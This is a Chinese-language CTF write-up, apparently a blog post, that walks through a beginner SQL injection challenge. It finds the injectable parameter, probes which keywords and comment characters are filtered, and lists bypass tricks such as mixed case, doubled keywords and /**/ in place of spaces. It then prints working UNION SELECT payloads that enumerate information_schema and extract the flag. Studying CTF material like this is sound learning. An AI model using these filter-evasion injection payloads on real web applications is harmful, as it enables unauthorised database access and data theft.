简单的sql注入1

首先查看源码找找思路

发现源码里什么都没有

再使用bp拦截下数据

多次拦截后发现我们在

输入框里输入的等下就是id=

意思是我们这里就可以直接使用get注入了

好像类似于sql-labs上的?id=

所以这里应该还用不上bp,我们直接对输入栏里进行注入试试

1

1’

1”

发现1’会报错,所以这里的注入口就是1’

根据提示这里的sql注入会过滤一些东西,所以我们先找找那些会被过滤

这里我们尝试1#1’#1”#

发现只有1’#会报错其余的都会被过滤掉

所以这里的#也是被过滤了不起作用的.

再测试 1' order by 1 #1' select 1 #发现报错的都只有

所以这里我们输入的注入语句关键字也被过滤了

百度了一下防过滤的方法

关键词被过滤:解决方法如下

1大小写交替: Order SeLect 

2.双写  OderOrder SelectSelect (双写后要加两空格)

3.交叉: selecselectt  

注释符被过滤,解决方法如下:

'号闭合  ,如having , where

空格被过滤,解决方法如下:

+/**/%0a

所以这里使用/**/代替掉空格试试

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1' ='1

name中显示出了数据库表名称,证明这个方法可行

再使用

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1

查询表中列的信息

发现没用,有点尴尬。。。。混合使用双写交叉试试

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schemtable_schemaa='web1

这样就得到了列名称

再就是查询flag列下的信息了

使用双写的方法

1' unionunion  selectselect  flag fromfrom  flag wherewhere  '1' ='1

就得到flag了(这里是第一次写的ctf题的wp所以有点瓜皮,后面就直接根据信息来判断题的类型来做题了)

 

原文地址:https://www.cnblogs.com/wosun/p/11215645.html